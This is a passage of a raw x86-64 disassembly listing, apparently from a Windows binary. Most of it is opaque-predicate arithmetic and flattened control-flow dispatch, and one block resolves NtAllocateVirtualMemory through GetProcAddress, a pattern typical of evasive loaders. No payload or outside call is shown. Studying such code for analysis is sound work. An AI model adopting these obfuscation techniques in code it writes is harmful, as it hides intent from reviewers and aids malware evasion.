and edx, 0xe934bc39
and ebp, 0x16cb43c6
or ebp, edx
mov ebx, ebp
xor ebx, 0x300
xor ebp, 0x40148000
or ecx, 0x70b48301
mov edx, ecx
not edx
or ebp, 0xa0a1470
and ebp, 0x5a9e9470
and ebx, 0x20200301
or ebx, ebp
and ecx, 0x5a9e9470
and edx, 0x8541688e
or edx, ecx
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0x8f4b7cfe
and edx, 0x70b48301
or edx, ecx
mov ebx, edx
mov ecx, edx
xor ecx, 0xab8922f7
and ecx, edx
not edx
and edx, 0x4cb6c047
and ebx, 0xb3493fb8
or ebx, edx
mov edx, ebx
xor edx, 0xb3493fb8
mov ebp, ebx
xor ebp, 0xe73fe2b0
and ebp, edx
mov edi, ebp
and edi, ecx
xor ecx, ebp
or ecx, edi
mov ebp, ecx
not ebp
and ebp, 0x5476dd09
and ecx, 0xab8922f6
or ecx, ebp
xor ebx, 0x4082c005
and ebx, 0x51caff35
mov ebp, edx
and ebp, 0xae3500ca
or ebp, ebx
xor ebp, 0x51caff34
and edx, 1
or edx, ebp
not edx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
mov ebp, edx
xor ebp, 0x27c47a2d
and ebp, edx
not edx
and edx, 0x20c41a25
and ecx, 0x7006008
or ecx, edx
mov edx, ecx
xor edx, 0x5004000
xor ecx, 0xf8ff9ff7
mov ebx, ebp
not ebx
mov edi, ecx
and edi, 0x324830f9
and edx, 0x5844a04
or edx, edi
or ecx, ebx
and ebx, 0x324830f9
and ebp, 0xcdb7cf06
or ebp, ebx
xor ebp, edx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xa7500e9a
and ecx, 0x58aff165
or ecx, edx
mov edx, ecx
xor edx, 0x3e438948
xor ecx, 0x809474b7
mov ebp, ecx
and ebp, 0xc1b81620
and edx, 0x3e47e9df
or edx, ebp
xor edx, 0xc1b81620
xor ecx, edx
test ecx, edx
setne r8b
sete r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r10b
mov edx, r9d
xor dl, r8b
and dl, r9b
mov eax, edx
xor al, 1
mov ebx, eax
and bl, dl
mov r11d, eax
and r11b, bl
xor bl, al
or bl, r11b
xor bl, 1
or al, dl
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
and dl, r10b
xor al, 1
and al, cl
or al, dl
mov edx, ecx
xor dl, r8b
xor dl, 1
xor r10b, r9b
or cl, r8b
xor cl, 1
or cl, r10b
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
xor dl, 1
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xb1a94783
mov ebp, 0xa33a6e9c
cmovne ecx, ebp
test dl, 1
mov edx, ecx
mov ebp, 0xb1a94783
cmovne edx, ebp
test al, 1
cmovne edx, ecx
jmp 0x1400baefb
cmp ecx, 0xe98f9bd3
je 0x1400bc7dd
cmp ecx, 0xe9a4b0c2
jne 0x1400adc00
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
mov ecx, ebp
xor ecx, 0x59d8baec
and ecx, ebp
not ebp
and ebp, 0x49480204
and edx, 0x1090b8e8
or edx, ebp
xor edx, 0x1090b8e8
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xa6274513
and ecx, 0x59d8baec
or ecx, edx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebp, ecx
not ebp
and ebp, 0xfffffffe
and ecx, 1
or ecx, ebp
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x8a554c00
mov ebp, ecx
and ebp, 0x50a00244
or ebp, edx
xor ebp, 0x50a00244
and ecx, 0x250ab1bb
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xa300ce02
and ecx, 0x5cff31fd
or ecx, edx
mov edx, ecx
xor edx, 0x2000230
xor ecx, 0x79f58046
mov ebp, ecx
and ebp, 0x947ffd89
and edx, 0x6b800276
or edx, ebp
xor edx, 0x6b800276
or edx, ecx
cmp edx, 0xffffffff
setne r8b
sete r9b
cmp eax, 9
setg r11b
cmp eax, 0xa
setl r10b
mov edx, r9d
xor dl, r8b
and dl, r9b
mov eax, edx
xor al, 1
mov ecx, edx
and cl, al
mov ebx, ecx
xor bl, 1
xor cl, dl
or bl, al
xor bl, 1
or bl, cl
or al, dl
xor al, 1
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, r11d
and cl, al
not al
and al, r10b
or al, cl
mov ecx, r8d
xor cl, r11b
xor r10b, r9b
or r11b, r8b
xor r11b, 1
or r11b, r10b
xor r11b, 1
mov edx, ecx
and dl, r11b
xor r11b, cl
or r11b, dl
mov ecx, r11d
xor cl, 1
mov r8d, eax
xor r8b, 1
mov edx, r8d
and dl, al
mov ebx, r11d
and bl, cl
xor r8b, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, r8b
mov r8d, r11d
and r8b, bl
xor bl, r11b
or bl, r8b
xor bl, dl
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, bl
test al, 1
mov eax, 0xba89c29
mov edx, 0xd48b56df
cmovne eax, edx
test cl, 1
mov ecx, 0xba89c29
cmovne ecx, eax
jmp 0x1400ba675
mov eax, dword [0x14024b730]
lea ebp, [rax - 1]
imul ebp, eax
mov ebx, ebp
not ebx
mov eax, ebx
and eax, 0x5b7acb58
mov ecx, ebp
and ecx, 0xa48534a7
or ecx, eax
mov eax, ecx
xor eax, 0x24042002
xor ecx, 0x5b7acb58
mov edx, ebp
xor edx, 0xfffffffe
and edx, ebp
or ecx, 1
mov edi, edx
not edi
mov esi, ecx
and esi, 0xd0d117ac
and eax, 0x2f2ee852
or eax, esi
or ecx, edi
and edi, 0xd0d117ac
and edx, 0x2f2ee853
or edx, edi
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x67ad71fb
and ecx, 0x98528e04
or ecx, eax
mov eax, ecx
xor eax, 0x98408604
xor ecx, 0x67ad71fb
mov edx, ecx
and edx, 0x479b6869
and eax, 0xb8649796
or eax, edx
or ecx, ebp
and ebp, 0x479b6869
and ebx, 0xb8649796
or ebx, ebp
xor ebx, eax
not ecx
or ecx, ebx
cmp ecx, 0xffffffff
setne al
cmp dword [0x14024b72c], 9
setg cl
mov r9d, ecx
and r9b, al
xor cl, al
or r9b, cl
mov edx, r9d
xor dl, 1
mov eax, edx
and al, r9b
mov r8d, eax
and r8b, dl
xor al, dl
or al, r8b
mov ebx, eax
xor bl, 1
and bl, cl
or dl, cl
xor cl, 1
and al, cl
or al, bl
xor cl, r9b
xor dl, 1
or dl, cl
mov ebx, edx
xor bl, al
test dl, 1
mov ecx, 0x3dfbe17d
mov edx, 0xd0367f7b
cmovne ecx, edx
test al, al
cmove ecx, edx
not bl
test bl, 1
mov eax, 0x3dfbe17d
jmp 0x1400bbe07
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x16232347
and edx, ecx
and ecx, 0xe9dcdcb8
or ecx, ebp
mov ebp, ecx
xor ebp, 0xa8841818
xor ecx, 0x16232347
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x5578e7e1
and ebp, 0xaa87181e
or ebp, edi
or ecx, ebx
and ebx, 0x5578e7e1
and edx, 0xaa87181e
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x873c81a2
mov ebp, ecx
and ebp, 0x78c37e5d
or ebp, edx
mov edx, ebp
xor edx, 0x78c37e5d
xor ebp, 0x85340120
mov ebx, edx
and ebx, 0x82b90958
and ecx, 0x7d46f6a7
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0x7d46f6a6
and ecx, 0x82b90959
or ecx, ebx
and ebp, 0xadb53b30
mov ebx, edx
and ebx, 0x524ac4cf
or ebx, ebp
xor ebx, 0xadb53b31
and edx, 1
or edx, ebx
mov ebp, edx
not ebp
and ebp, 0xab4f355c
and edx, 0x54b0caa3
or edx, ebp
mov ebp, edx
xor ebp, 0x900a00
xor edx, 0xab4f355c
mov ebx, ecx
not ebx
mov edi, ebx
and edi, 0x5e2ec0fb
and ecx, 0xa1d13f04
or ecx, edi
or ebx, edx
and edx, 0x5e2ec0fb
and ebp, 0xa1d13f04
or ebp, edx
xor ebp, ecx
not ebx
or ebx, ebp
mov ecx, ebx
xor ecx, 0xba72b2f4
and ecx, ebx
not ebx
and ebx, 0xba72b2f4
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xbb0e3dc4
and ecx, 0x44f1c23b
or ecx, edx
mov edx, ecx
xor edx, 0x38806049
xor ecx, 0x4c8d00
and ecx, 0xc64f9d86
and edx, 0x39b06279
or edx, ecx
mov ecx, edx
xor ecx, 0x39100279
xor edx, 0x80479404
and edx, 0x80e7f404
and ecx, 0x7f180bfb
or ecx, edx
mov edx, ecx
xor edx, 0x80c1f000
xor ecx, 0x771802e1
and ecx, 0x773e06e5
and edx, 0x88c1f91a
or edx, ecx
xor edx, 0x88c1f91a
setne r8b
sete cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov r9d, ecx
xor r9b, r8b
and r9b, cl
xor r9b, al
and r8b, dl
and al, cl
or al, r8b
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
xor al, 1
mov ecx, eax
xor cl, dl
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
xor al, 1
mov edx, r9d
or dl, al
xor al, r9b
mov ebx, edx
xor bl, al
test al, 1
mov ecx, 0x1089f1a0
mov eax, 0x49bc2ad6
cmovne ecx, eax
test dl, 1
mov edx, 0x1089f1a0
jmp 0x1400b9225
mov edx, dword [0x14024b730]
mov r8d, dword [0x14024b72c]
lea ecx, [rdx - 1]
imul ecx, edx
mov eax, ecx
not eax
mov ebx, ecx
xor ebx, 0xfffffffe
and ebx, ecx
mov edx, ecx
or edx, 1
mov edi, ebx
not edi
mov esi, edx
and esi, 0xa20403f7
mov ebp, eax
and ebp, 0x5dfbfc08
or ebp, esi
or edx, edi
and edi, 0xa20403f7
and ebx, 0x5dfbfc08
or ebx, edi
xor ebx, ebp
not edx
or edx, ebx
mov ebp, edx
not ebp
and ebp, 0x480d3ee1
and edx, 0xb7f2c11e
or edx, ebp
xor edx, 0xb7f2c11e
and eax, 0xc670c4ae
and ecx, 0x398f3b51
or ecx, eax
xor ecx, 0x398f3b51
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xaa242868
and ecx, 0x55dbd797
or ecx, eax
xor ecx, 0x55dbd797
setne cl
sete r9b
cmp r8d, 9
setg dl
cmp r8d, 0xa
setl bl
mov eax, ebx
xor al, r9b
or cl, bl
or bl, r9b
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
xor cl, 1
or dl, r9b
xor dl, 1
mov r8d, ecx
and r8b, dl
xor dl, cl
or dl, r8b
mov ecx, edx
xor cl, 1
and dl, bl
and al, cl
or al, dl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0xc1b0cafe
mov ebp, 0xc4c31281
cmovne ecx, ebp
test al, 1
cmove ecx, ebp
test dl, 1
mov eax, 0xc1b0cafe
jmp 0x1400bc0e6
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea edi, [rcx - 1]
imul edi, ecx
mov ebp, edi
not ebp
mov ecx, ebp
and ecx, edi
mov ebx, ecx
not ebx
mov edx, edi
and edx, 0x2608fe7d
and ebp, 0xd9f70182
or ebp, edx
or edi, ebx
and ebx, 0x2608fe7d
and ecx, 0xd9f70182
or ecx, ebx
xor ecx, ebp
not edi
or edi, ecx
mov ecx, edi
mov edx, edi
xor edx, 0x975150e5
and edx, edi
not edi
and edi, 0x4993df03
and ecx, 0xb66c20fc
or ecx, edi
mov ebp, ecx
xor ebp, 0xb66c20fc
mov ebx, ecx
xor ebx, 0xdec28fe6
and ebx, ebp
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0x4b9b32af
and edx, 0xb464cd50
or edx, ebx
xor edx, 0x23359db4
and ebp, 1
xor ecx, 0xb66c20fd
or ecx, ebp
not ecx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov ebp, ecx
not ebp
mov ebx, ebp
or ebx, 0x5776effa
mov edx, ebx
not edx
or ecx, 0x8011000
and ecx, 0xa43780a
and ebp, 0x553487f0
or ebp, ecx
and ebx, 0xa43780a
and edx, 0xa0880005
or edx, ebx
xor edx, ebp
mov ecx, edx
not ecx
and ecx, 0x69e2cadd
and edx, 0x961d3522
or edx, ecx
mov ecx, edx
xor ecx, 0x4029d8d8
xor edx, 0x12940101
and ecx, 0x6c29fcfe
and edx, 0x93d60301
or edx, ecx
mov ecx, edx
xor ecx, 0x6808cca8
xor edx, 0x92d20100
and edx, 0x96f33156
and ecx, 0x690ccea9
or ecx, edx
xor ecx, 0x690ccea9
sete cl
cmp eax, 9
setg dl
cmp eax, 0xa
setl al
mov ebx, eax
xor bl, cl
or al, cl
xor al, 1
or al, bl
xor al, 1
and bl, cl
or dl, cl
xor dl, 1
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
xor dl, al
mov ebx, edx
not bl
and bl, al
mov eax, edx
xor al, bl
test dl, dl
mov ecx, 0x3b493600
mov edx, 0x1f8e1bc7
cmovne ecx, edx
test bl, bl
mov ebp, 0x3b493600
cmove ecx, ebp
test al, 1
cmovne ecx, edx
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov eax, dword [0x14024b730]
mov ecx, dword [0x14024b72c]
lea esi, [rax - 1]
imul esi, eax
mov edi, esi
not edi
mov eax, edi
or eax, 0xaefd70fd
mov edx, eax
not edx
mov ebx, esi
or ebx, 0x10008900
and ebx, 0x12f5d920
mov ebp, edi
and ebp, 0xac0820dd
or ebp, ebx
and eax, 0x12f5d920
and edx, 0x41020602
or edx, eax
xor edx, ebp
mov eax, edx
not eax
and eax, 0x51028f03
and edx, 0xaefd70fc
or edx, eax
mov eax, edx
not eax
and edi, eax
and edx, esi
or edx, edi
not edx
or edx, eax
cmp edx, 0xffffffff
sete r8b
setne r10b
cmp ecx, 9
setg r9b
cmp ecx, 0xa
setl r11b
mov eax, r11d
xor al, r9b
and al, r11b
mov ecx, eax
xor cl, 1
mov edx, eax
and dl, cl
xor dl, 1
mov ebx, edx
xor bl, cl
or dl, cl
xor dl, 1
or dl, bl
or cl, al
xor cl, 1
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov eax, r10d
or al, cl
mov ebx, r10d
xor bl, cl
xor bl, 1
and bl, cl
xor bl, 1
mov ecx, eax
xor cl, bl
or bl, al
xor bl, 1
or bl, cl
and r10b, r11b
and r9b, r8b
or r9b, r10b
mov eax, r11d
and al, r8b
xor r11b, r8b
or r11b, al
xor r9b, 1
mov eax, r9d
xor al, r11b
or r9b, r11b
xor r9b, 1
or r9b, al
mov r11d, r9d
xor r11b, 1
mov r8d, ebx
xor r8b, 1
mov ecx, r8d
and cl, bl
mov eax, r9d
and al, r11b
xor cl, 1
mov r10d, ebx
xor r10b, cl
or cl, bl
xor cl, 1
or cl, r10b
mov r10d, r9d
and r10b, al
xor al, r9b
or al, r10b
mov edx, ecx
xor dl, 1
and dl, al
xor al, 1
and al, cl
or al, dl
xor r8b, r9b
or r11b, bl
xor r11b, 1
or r11b, r8b
mov ecx, r11d
xor cl, al
test cl, 1
mov edx, 0xf3f669f3
mov ecx, 0xe5fc6bc7
cmovne edx, ecx
test r11b, 1
mov ecx, 0xf3f669f3
jmp 0x1400b768c
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0x7a2c12d3
and ecx, 0x85d3ed2c
or ecx, edx
mov edx, ecx
xor edx, 0x7a2c12d3
mov ebp, ecx
xor ebp, 0x7a2c12d2
and ebp, edx
xor ecx, 0x85d3ed2c
and ecx, 0xfffffffe
and edx, 1
or edx, ecx
mov ecx, ebp
not ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xc9416427
and ebp, 0x36be9bd8
or ebp, edi
or ecx, ebx
and ebx, 0xc9416427
and edx, 0x36be9bd8
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x5b938a42
and ecx, 0xa46c75bd
or ecx, edx
mov edx, ecx
xor edx, 0x80004481
xor ecx, 0x13910a00
and ecx, 0x37fd3b3c
and edx, 0xc802c4c3
or edx, ecx
mov ecx, edx
xor ecx, 0x23e93314
xor edx, 0x8800c481
and edx, 0x9c14cca9
and ecx, 0x63eb3356
or ecx, edx
mov edx, ecx
xor edx, 0x20623344
xor ecx, 0xc0448a9
and ecx, 0x4f8d48bb
and edx, 0xb072b744
or edx, ecx
xor edx, 0x4f8d48bb
cmp edx, 0xffffffff
sete cl
setne dl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
and dl, al
mov ebx, r8d
and bl, cl
or bl, dl
mov r9d, ebx
xor r9b, al
and r9b, bl
xor al, cl
not al
and al, cl
xor cl, r8b
and cl, r8b
xor al, 1
xor cl, 1
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov eax, r9d
xor al, 1
and al, cl
xor cl, 1
mov edx, r9d
xor dl, cl
and dl, r9b
and cl, r9b
or cl, al
mov eax, edx
xor al, cl
test cl, 1
mov ecx, 0xc3e0ffb5
mov ebp, 0xc7b609c
cmovne ecx, ebp
test dl, dl
mov edx, 0xc3e0ffb5
jmp 0x1400bb636
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
mov ecx, ebp
xor ecx, 0x582ed25b
and ecx, ebp
not ebp
and ebp, 0x18201002
and edx, 0x400ec259
or edx, ebp
xor edx, 0x400ec259
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xa7d12da4
and ecx, 0x582ed25b
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0x89511d55
and ecx, 0x76aee2aa
or ecx, edx
xor ecx, 0x76aee2ab
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xf1923670
and edx, ecx
and ecx, 0xe6dc98f
or ecx, ebp
mov ebp, ecx
xor ebp, 0x245888f
xor ecx, 0xf1923670
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xec2a7710
and ebp, 0x13d588ef
or ebp, edi
or ecx, ebx
and ebx, 0xec2a7710
and edx, 0x13d588ef
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x74998308
and edx, 0x8b667cf7
or edx, ecx
xor edx, 0x74998308
cmp edx, 0xffffffff
setne r8b
sete bl
cmp eax, 9
setg cl
cmp eax, 0xa
setl dl
mov eax, edx
xor al, bl
and r8b, dl
or dl, bl
xor dl, 1
or dl, al
mov r9d, edx
xor r9b, 1
and cl, bl
or cl, r8b
mov r10d, ecx
xor r10b, 1
mov eax, edx
and al, r9b
mov r8d, edx
and r8b, al
xor al, dl
or al, r8b
mov ebx, eax
xor bl, 1
and bl, r10b
and al, cl
or al, bl
xor r10b, dl
or cl, r9b
xor cl, 1
or cl, r10b
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x10182a4a
mov ebp, 0xc4c31281
cmovne ecx, ebp
test al, al
cmove ecx, ebp
not dl
test dl, 1
mov eax, 0x10182a4a
jmp 0x1400bbe07
mov edx, dword [0x14024b730]
mov ecx, dword [0x14024b72c]
lea eax, [rdx - 1]
imul eax, edx
mov ebx, eax
not ebx
mov edx, eax
or edx, 0x25f65b64
and eax, 0x25f65b64
mov ebp, ebx
and ebp, 0xda09a49a
or ebp, eax
and edx, 0x25f65b65
xor edx, ebp
not edx
mov eax, edx
and eax, ebx
xor edx, ebx
or edx, eax
cmp edx, 0xffffffff
setne al
sete r8b
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
mov edx, r8d
and dl, cl
and al, bl
or al, dl
xor cl, r8b
xor cl, 1
mov edx, ebx
and dl, r8b
xor bl, r8b
or bl, dl
xor bl, 1
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
xor al, 1
mov ecx, eax
and cl, bl
xor al, bl
or cl, al
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0xf06ac166
mov ebp, 0xfc9d207e
cmovne edx, ebp
test cl, 1
mov ecx, 0xf06ac166
jmp 0x1400b768c
mov rsi, qword [rsp + 0x38]
mov ebp, dword [0x14024b730]
mov ecx, dword [0x14024b72c]
lea edx, [rbp - 1]
imul edx, ebp
mov ebp, edx
not ebp
mov ebx, ebp
and ebx, 0x52249cdc
and ebp, edx
and edx, 0xaddb6323
or edx, ebx
xor edx, 0xaddb6323
mov ebx, edx
and ebx, ebp
xor edx, ebp
or edx, ebx
mov edi, edx
xor edi, 1
and edi, edx
mov ebx, edx
not ebx
and ebx, 0x9c4b9da9
and edx, 0x63b46256
or edx, ebx
mov ebp, edi
not ebp
mov ebx, ebp
and ebx, 0xe059420e
and edi, 0x1fa6bdf1
or edi, ebx
mov ebx, edx
xor ebx, 0x3a42051
xor edx, 0x9c4b9da8
or ebp, edx
and edx, 0xe059420e
and ebx, 0x1fa6bdf1
or ebx, edx
xor ebx, edi
not ebp
or ebp, ebx
mov edx, ebp
xor edx, 0x4ef7a0e2
and edx, ebp
not ebp
and ebp, 0x4ef7a0e2
mov ebx, ebp
and ebx, edx
xor edx, ebp
or edx, ebx
mov ebp, edx
not ebp
and ebp, 0xebe26c16
and edx, 0x141d93e9
or edx, ebp
xor edx, 0x5aea330b
sete r8b
setne bl
cmp ecx, 0xa
setl al
cmp ecx, 9
setg cl
mov edx, ebx
and dl, cl
or bl, al
and al, r8b
or al, dl
xor al, 1
or al, cl
or cl, r8b
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov edx, eax
xor dl, cl
xor cl, 1
or cl, al
xor dl, 1
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xcffbe431
mov ebp, 0xbe9d0221
cmovne eax, ebp
test dl, 1
mov edx, eax
mov ebp, 0xcffbe431
cmovne edx, ebp
mov qword [0x14024b058], rsi
test cl, 1
cmovne edx, eax
jmp 0x1400baefb
mov eax, dword [0x14024b730]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0xd00ce74a
and edx, ecx
or ecx, 0x2ff318b5
mov ebp, edx
not ebp
mov ebx, ecx
and ebx, 0xa19096fe
and eax, 0x500c6100
or eax, ebx
or ecx, ebp
and ebp, 0xa19096fe
and edx, 0x5e6f6901
or edx, ebp
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x2ff318b5
and ecx, 0xd00ce74a
or ecx, eax
mov edx, ecx
mov eax, ecx
xor eax, 0xc47f4b9b
and eax, ecx
not ecx
and ecx, 0x1e5b90d8
and edx, 0xe1a46f27
or edx, ecx
mov ecx, edx
xor ecx, 0xe1a46f27
xor edx, 0x1c5b1098
mov ebp, ecx
and ebp, 0xc47f4b9b
mov ebx, ebp
and ebx, eax
xor eax, ebp
or eax, ebx
mov ebp, eax
not ebp
and ebp, 0x3b80b465
and eax, 0xc47f4b9a
or eax, ebp
and edx, 0xdd7f1c9f
mov ebp, ecx
and ebp, 0x2280e360
or ebp, edx
xor ebp, 0xdd7f1c9e
and ecx, 1
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xc4f1f829
and ecx, 0x3b0e07d6
or ecx, edx
mov ebp, ecx
xor ebp, 0x100202c6
xor ecx, 0xc4f1f829
mov edx, eax
not edx
mov ebx, edx
and ebx, 0x2bdd2539
and eax, 0xd422dac6
or eax, ebx
or edx, ecx
and ecx, 0x2bdd2539
and ebp, 0xd422dac6
or ebp, ecx
xor ebp, eax
not edx
or edx, ebp
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0x90030004
and edx, 0x40782d70
or edx, eax
mov ebp, edx
xor ebp, 0x40100070
xor edx, 0xbc04908e
or ecx, 0xd07b2d74
mov eax, ecx
not eax
and edx, 0xbc6cbd8e
and ebp, 0x40130070
or ebp, edx
and ecx, 0xbc6cbd8e
and eax, 0x3804201
or eax, ecx
xor eax, ebp
mov ecx, eax
not ecx
and ecx, 0x2f84d28b
and eax, 0xd07b2d74
or eax, ecx
setne r8b
cmp dword [0x14024b72c], 0xa
setl bl
mov eax, ebx
xor al, r8b
mov r9d, ebx
xor r9b, al
not r9b
and r9b, al
or r8b, bl
not al
and al, bl
mov edx, r8d
xor dl, al
xor al, 1
xor dl, 1
or al, r8b
xor al, 1
or al, dl
mov ecx, r9d
xor cl, 1
mov r10d, eax
xor r10b, 1
mov edx, ecx
and dl, r9b
mov r8d, ecx
and r8b, dl
xor dl, cl
or dl, r8b
mov ebx, edx
xor bl, 1
and bl, r10b
and dl, al
or dl, bl
xor r10b, cl
or al, r9b
xor al, 1
or al, r10b
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0xd195a20a
mov eax, 0x2ef0385
cmovne ecx, eax
test dl, 1
cmove ecx, eax
test bl, 1
mov eax, 0xd195a20a
jmp 0x1400bc0e6
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x7126bd99
and edx, 0x8ed94266
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xdee6413b
and edx, 0x2119bec4
or edx, ecx
mov ebp, edx
xor ebp, 0x503f035d
xor edx, 0x27808ca2
and edx, 0x27818ee6
mov ecx, ebp
and ecx, 0xd87e7119
or ecx, edx
mov edx, ecx
xor edx, 0xd87e7119
mov ebx, ecx
xor ebx, 0x23f769b0
and ebx, edx
and ebp, 0xfb8918a9
mov edi, ebx
and edi, ebp
xor ebp, ebx
or ebp, edi
mov ebx, ebp
not ebx
and ebx, 0xfb8918a8
and ebp, 0x476e757
or ebp, ebx
and edx, 1
xor ecx, 0xd87e7118
or ecx, edx
mov edx, ecx
not edx
and edx, 0xe22269b
and ecx, 0xf1ddd964
or ecx, edx
xor ecx, 0xf1ddd964
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0xa210ff4a
and ecx, 0x5def00b5
or ecx, edx
mov edx, ecx
xor edx, 0x8250030
xor ecx, 0x2210c942
and ecx, 0x77dac9c7
and edx, 0x88253638
or edx, ecx
xor edx, 0x77dac9c7
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg dl
mov eax, edx
and cl, dl
and dl, r8b
xor al, r8b
or al, dl
xor al, 1
and bl, r8b
or cl, bl
xor cl, al
mov edx, ecx
not dl
and dl, al
mov eax, edx
xor al, cl
mov eax, 0xec0fd959
mov ebp, 0x8be9b3ed
cmovne eax, ebp
test cl, cl
mov ecx, eax
cmovne ecx, ebp
jmp 0x1400bc0e4
mov rcx, qword [0x14024b040]
lea rdx, str.NtAllocateVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0xdc91d38c
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea edx, [rcx - 1]
imul edx, ecx
mov edi, edx
not edi
mov ecx, edi
or ecx, 0xc8d5f016
mov ebx, edx
or ebx, 1
and ebx, 0xc8d5f017
mov ebp, edi
and ebp, 0x372a0fe8
or ebp, ebx
and ecx, 0xc8d5f017
xor ecx, ebp
mov ebp, ecx
not ebp
and edi, 0x42196d80
and edx, 0xbde6927f
or edx, edi
mov ebx, edx
xor ebx, 0x2524102d
xor edx, 0x42196d80
mov edi, ecx
and edi, 0x98db8a52
and ebp, 0x672475ad
or ebp, edi
or ecx, edx
and edx, 0x98db8a52
and ebx, 0x672475ad
or ebx, edx
xor ebx, ebp
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xa44fc229
and ecx, 0x5bb03dd6
or ecx, edx
xor ecx, 0x5bb03dd6
sete dl
setne r8b
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov ebx, ecx
or bl, dl
and dl, al
xor al, r8b
xor bl, 1
or bl, al
and cl, r8b
or cl, dl
mov eax, ecx
and cl, bl
xor bl, 1
xor al, 1
mov edx, ebx
xor dl, al
and dl, bl
and al, bl
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ebp, 0x796eb76c
mov ebx, 0xe07fa25a
cmovne ebp, ebx
test al, al
mov ecx, ebp
cmovne ecx, ebx
test dl, dl
jmp 0x1400bb784
mov rax, qword [rsp + 0x38]
mov qword [0x14024b058], rax
mov ecx, 0xd8952236
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov ecx, dword [0x14024b730]
mov r8d, dword [0x14024b72c]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
